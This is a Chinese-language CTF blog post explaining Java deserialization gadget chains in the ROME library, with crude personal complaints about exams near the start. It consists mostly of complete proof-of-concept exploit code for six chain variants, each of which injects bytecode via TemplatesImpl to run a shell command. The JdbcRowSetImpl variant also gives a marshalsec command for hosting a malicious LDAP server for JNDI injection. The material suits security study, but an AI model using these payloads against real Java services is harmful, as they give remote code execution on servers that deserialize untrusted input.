February 12, 2024

易懂的Rome反序列化利用链(updated)

学完这个利用链给我的感觉就是和FastJson高度相似,因为都会调用任意的set和get方法,从而导致RCE,因此Rome反序列化利用链很多都和FastJson重复,调用栈什么的都很简短,因此非常好学习

一些吐槽的话,可以略过

你妈妈的离散数学,给我整破防了,又臭又长,考的都是些啥啊,好在还是考完了,要是不考完我估计我得自闭,长达八天的考试周真的和监狱里坐牢一样,这种事情这辈子不想体验第二次,太几把抽象了,难受难受难受

ObjectBean利用链

这一条链子就是最初的原型,看看调用栈:

1
2
3
4
5
6
7
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* EqualsBean.beanHashCode()
* EqualsBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

很朴素的一条链子,POC如下:(该POC是4ra1n等师傅缩短payload后的简化payload,在最后会放参考链接)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class dome {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");

setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);

// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(hashMap);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

我们先做好环境搭建准备,Maven选择quickstart,然后POM文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>

断点肯定就下在readObject
image.png
最外层套的是一层HashMap,因此很自然的进入HashMap重写的ReadObject方法中:
image.png
然后再最后肯定就会调用hash函数,这个函数已经见烂了,在CC链和一些其他的链子中,它随后会调用hashcode函数
image.png
这里我们将key设置为了ObjectBean类,因此就会调用ObjectBean#hashcode函数
image.png
调用equalsBean.beanHashCode()
image.png
在里面调用了toString方法,其实这里有说法的,我也觉得这里也可以做点文章,因为toString这个方法太敏感了,很多链子都可以通过这个方法继续往下去触发,我可能下周投的题就是这里了嘻嘻,好了回归正题,这里的this._obj为ToStringBean,因此调用它的toString方法
image.png
调用它的另一个有参toString
image.png
this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors,跟进
image.png
在这里调用getPDs方法,去看看它的逻辑,这里需要注意一个点,就是我们入口不是hashcode函数吗,在调用put时也会调用,只不过那时候由于一些不确定因素不会导致calc执行,也就是一共调用2次hashcode,但是第一次调用hashcode时有一个比较重要的一点,就是我们说的getPDs方法,第一次调用时,会进入该方法,然后获取任意get和set方法,这里就是fastjson的流程
image.png
image.png
之后退回toString,触发invoke调用get方法:
image.png
之后就是TemplatesImpl实例化恶意类的流程了,这里就不继续往下分析
image.png

HashTable利用链

这条链子实际上就是在HashMap被ban的情况下进行反序列化,因为最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package ROME;

import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;

public class ROME_HashTable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");

Serial.Serialize(hashtable);
Serial.DeSerialize("ser.bin");
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

image.png
也是直接弹的,因为在HashTable的readObject方法中也是可以看见hashcode的身影
image.png
image.png
因此原理一样,也是会弹出计算器的

BadAttributeValueExpException利用链

这个类在CC链中我们是拿来触发toString的,他的readObject方法中有toString,因此可以直接连着Rmoe链的ToStringBean,这样也是可以触发的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class BadAttributeVer {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",toStringBean);
// 执行序列化与反序列化,并且返回序列化数据
ByteArrayOutputStream bs = unSerial(badAttributeValueExpException);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

image.png
image.png
在badattribute类的readObject方法中调用了toString,而这里我们让val等于ToStringBean,把链子连接起来了,因此也是可行的

HotSwappableTargetSource利用链

这个其实我们在之前的文章,也就是西湖论剑的easy_api里提到过,一个拿来当跳板的类,这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class HotVer {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
// 执行序列化与反序列化,并且返回序列化数据
HashMap<Object, Object> map = new HashMap();
map.put(h1,h1);
map.put(h2,h2);
ByteArrayOutputStream bs = unSerial(map);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

image.png
这边的流程也很简单,首先入口还是hashmap,里面的putval函数调用了equals,这里有2个hotswapper
image.png
左边的是h1右边equals里面的是h2
image.png
这里的target就是xstring,右边里面的内容就是ToStringBean,随之进入Xstring的equals方法里
image.png
obj2就是ToStringBean,因此链子闭合,逻辑无误

JdbcRowSetImpl利用链

这个类是在FastJson反序列化里见到的一个类,这个类中调用了lookup方法,因此可以进行JNDI注入,所以JDK版本也要注意一下,jdl8的话要小于191版本
这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法,那其实也就和TempaltesImpl链思路是一样的,只是在不能使用TempaltesImpl时可以进行替换
这里介绍一个工具,marashalsec,用来起恶意ldap和rmi服务端的一个工具,很方便
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://](http://127.0.0.1:8888/#EXP)localhost:8888/#Exploit 9999
在8888端口放上你的payload,这里就准备一个弹计算机的,名字改为Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class JdbcVer {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url="ldap://localhost:9999/Exploit";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object, Object> map = new HashMap<>();
map.put(equalsBean,"xxxxx");
ByteArrayOutputStream bs = unSerial(map);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

image.png
image.png
调用connect方法,跟进
image.png
调用lookup,触发JNDI注入,得以RCE
这里需要注意一下,既然是JNDI注入那么就得控制好Jdk版本问题哦

EqualsBean链

校赛题就是被这个非预期拉。我属于是老版本没和新版本配合的很好
其实Rome单独拿出来也是可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

/**
* Hello world!
*
*/
public class App
{
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static void main( String[] args )
{
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
EqualsBean bean = new EqualsBean(String.class, "s");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templatesImpl);
map2.put("zZ", bean);
map2.put("yy", templatesImpl);
HashSet table = new HashSet();
table.add(map1);
table.add(map2);
//table.put(map1, "1");
//table.put(map2, "2");
setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templatesImpl);
unSerial(table);
} catch (Exception e) {
e.printStackTrace();
}
}
private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
}

这边其实HashMap,HashSet、HashTable都是可以用来替换的(最后序列化的东西)只要调用equals就可以触发接下来的链子拉
image.png
HashMap调用了equals,跟进
image.png
同样也是调用了equals最终获取getter
image.png

然后HashSet和HashTable调用也是这样,换汤不换药的

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#Rome